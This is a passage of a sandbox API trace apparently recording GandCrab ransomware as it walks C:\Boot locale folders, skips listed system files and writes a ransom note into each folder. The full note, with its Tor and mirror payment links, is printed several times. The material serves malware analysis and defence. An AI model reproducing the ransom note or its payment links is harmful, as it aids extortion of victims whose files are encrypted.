returned 31 [0052.883] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ro-ro\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.884] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.884] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.884] CloseHandle (hObject=0x4e0) returned 1 [0052.884] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.885] lstrlenW (lpString="C:\\Boot\\ro-RO\\") returned 14 [0052.885] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="*" | out: lpString1="C:\\Boot\\ro-RO\\*") returned="C:\\Boot\\ro-RO\\*" [0052.885] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.885] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.885] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.885] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.885] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.885] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.885] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.885] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.885] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned="C:\\Boot\\ro-RO\\bootmgr.exe.mui" [0052.885] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.885] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0052.885] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0052.885] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.886] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.886] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.886] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.886] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt" [0052.886] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.886] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0052.886] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0052.886] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0052.886] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.886] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.886] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.887] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.887] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.887] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.887] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0052.887] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0052.887] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0052.887] lstrcatW (in: lpString1="C:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0052.887] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.887] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.887] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.887] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.888] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.888] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.888] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0052.888] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0052.888] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.888] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.888] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.888] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.888] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.888] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.888] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.888] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.888] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0052.888] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0052.888] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.888] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.888] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.888] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.888] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned="C:\\Boot\\ru-RU\\memtest.exe.mui" [0052.888] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0052.888] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.888] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.888] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.888] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.889] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ru-RU\\\\GDCB-DECRYPT.txt") returned 31 [0052.889] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ru-ru\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.889] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.889] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.890] CloseHandle (hObject=0x4e0) returned 1 [0052.890] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.890] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0052.890] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0052.890] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588ee0 [0052.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.890] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.890] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.890] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.890] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.891] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.891] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0052.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.891] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0052.891] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0052.891] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.891] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.891] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.891] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.891] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt" [0052.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.892] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0052.892] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0052.892] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0052.892] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.892] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.892] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.892] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.892] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.892] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.892] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned="C:\\Boot\\ru-RU\\memtest.exe.mui" [0052.892] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.893] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0052.893] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0052.893] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.893] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.893] FindClose (in: hFindFile=0x588ee0 | out: hFindFile=0x588ee0) returned 1 [0052.893] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.893] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1 [0052.893] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1 [0052.893] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sk-SK" | out: lpString1="C:\\Boot\\sk-SK") returned="C:\\Boot\\sk-SK" [0052.893] lstrcatW (in: lpString1="C:\\Boot\\sk-SK", lpString2="\\" | out: lpString1="C:\\Boot\\sk-SK\\") returned="C:\\Boot\\sk-SK\\" [0052.893] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.893] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.894] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.894] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.894] lstrlenW (lpString="C:\\Boot\\sk-SK\\") returned 14 [0052.894] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="*" | out: lpString1="C:\\Boot\\sk-SK\\*") returned="C:\\Boot\\sk-SK\\*" [0052.894] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.895] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.895] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.895] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.895] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.895] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.895] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.895] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.895] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned="C:\\Boot\\sk-SK\\bootmgr.exe.mui" [0052.895] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0052.895] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.895] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.895] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.895] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.896] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sk-SK\\\\GDCB-DECRYPT.txt") returned 31 [0052.896] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sk-sk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.896] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.896] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.896] CloseHandle (hObject=0x4e0) returned 1 [0052.897] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.897] lstrlenW (lpString="C:\\Boot\\sk-SK\\") returned 14 [0052.897] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="*" | out: lpString1="C:\\Boot\\sk-SK\\*") returned="C:\\Boot\\sk-SK\\*" [0052.897] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.897] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.897] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.897] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.897] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.897] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.897] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.897] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.897] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned="C:\\Boot\\sk-SK\\bootmgr.exe.mui" [0052.897] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.897] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0052.897] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0052.898] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.898] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.898] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.898] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.898] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt" [0052.898] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.898] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0052.898] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0052.898] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0052.898] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.898] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.898] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.899] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.899] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1 [0052.899] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1 [0052.899] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sl-SI" | out: lpString1="C:\\Boot\\sl-SI") returned="C:\\Boot\\sl-SI" [0052.899] lstrcatW (in: lpString1="C:\\Boot\\sl-SI", lpString2="\\" | out: lpString1="C:\\Boot\\sl-SI\\") returned="C:\\Boot\\sl-SI\\" [0052.899] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.899] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.899] lstrlenW (lpString="C:\\Boot\\sl-SI\\") returned 14 [0052.899] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="*" | out: lpString1="C:\\Boot\\sl-SI\\*") returned="C:\\Boot\\sl-SI\\*" [0052.900] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0052.901] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.901] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.901] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.901] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.901] 